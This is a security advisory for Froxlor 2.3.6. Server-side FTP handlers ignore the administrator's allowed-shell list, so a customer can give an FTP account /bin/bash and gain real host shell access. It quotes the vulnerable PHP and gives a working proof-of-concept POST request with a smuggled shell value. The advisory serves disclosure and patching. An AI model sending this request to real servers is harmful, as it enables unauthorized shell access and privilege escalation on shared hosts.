| Package | Affected versions | Patched versions |
|---|---|---|
| froxlor/froxlor | ≥ 2.3.6, < 2.3.7 | 2.3.7 |
Froxlor 2.3.6 lets administrators configure system.available_shells as the approved shell list that customers may assign to FTP users. However, the server-side FTP account handlers do not enforce that whitelist when processing add or edit requests.
As a result, an authenticated customer with shell delegation enabled can submit an arbitrary shell such as /bin/bash even when the panel UI only offers more restricted choices. In deployments that use the default nssextrausers integration, the attacker-controlled shell is then propagated into the system account database, leading to real host shell access.
The customer-facing FTP account page builds the shell selector from system.available_shells, which shows that the product intends the setting to act as the authorization boundary:
// customer_ftp.php:138-149
$shells = [
'/bin/false' => '/bin/false'
];
$availableshells = explode(',', Settings::Get('system.available_shells'));
if (is_array($availableshells) && !empty($availableshells)) {
foreach ($availableshells as $shell) {
$shells[trim($shell)] = trim($shell);
}
}
The request handler forwards posted form data directly into the FTP API command implementation:
// customer_ftp.php:170-172
if ($action == 'edit' && Request::post('send') == 'send') {
$result = $log->logAction(USR_ACTION, LOG_INFO, "edited ftp-account #" . $id);
Commands::get()->apiCall('Ftps.update', Request::postAll());
}
On the server side, Ftps::add() and Ftps::update() only perform generic shell string validation. They do not verify that the submitted shell belongs to system.available_shells:
// lib/Froxlor/Api/Commands/Ftps.php:119-123
if (Settings::Get('system.allow_customer_shell') == '1' && $this->getUserDetail('shell_allowed') == '1') {
$shell = Validate::validate(trim($shell), 'shell', '', '', [], true);
} else {
$shell = '/bin/false';
}
The validated shell is stored into ftp_users.shell and later consumed by the root-owned cron task that rebuilds NSS extrausers files:
// lib/Froxlor/Cron/System/Extrausers.php:89-97
$passwd_entries[] = $user['username'] . ':x:' . $uid . ':' . $gid . ':' . $gecos . ':' . $homedir . ':' . $shell;
Because the default installer configuration sets system.nssextrausers=1, and the shipped Debian/Bookworm configuration enables extrausers in nsswitch.conf, the attacker-controlled shell becomes the effective login shell of the generated system user on standard supported deployments.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeAn attacker needs a normal customer account and a deployment where customer shell delegation is enabled for that customer.
Relevant runtime prerequisites:
system.allow_customer_shell=1shell_allowed=1system.nssextrausers=1 with the shipped libnss-extrausers integrationFroxlor requires a valid CSRF token for POST requests, so the attacker performs the exploit from an authenticated session.
Complete PoC flow:
csrf_token.system.available_shells list:POST /customer_ftp.php?page=accounts&action=edit&id=17 HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Cookie: <authenticated customer session>
csrf_token=VALID_CSRF_TOKEN&
send=send&
id=17&
username=test1ftp1&
ftp_description=poc&
path=/&
shell=/bin/bash&
login_enabled=1
REBUILD_NSSUSERS task.Result:
/bin/bash is not present in system.available_shellsftp_users.shell is updated to /bin/bash/var/lib/extrausers/passwd is regenerated with /bin/bash as the FTP user's login shellThis issue lets a low-privileged customer bypass an administrator-defined authorization boundary and promote an FTP-only account into a real shell account. On shared-hosting systems managed by Froxlor, that materially changes the trust model and can expose the host to lateral movement, local privilege-escalation follow-on attacks, data theft from colocated services, and persistence on the server.
Because the vulnerable flow is executed through the normal authenticated web interface and a root-owned provisioning task later materializes the chosen shell at the operating-system level, the vulnerability is stronger than a UI-only restriction bypass.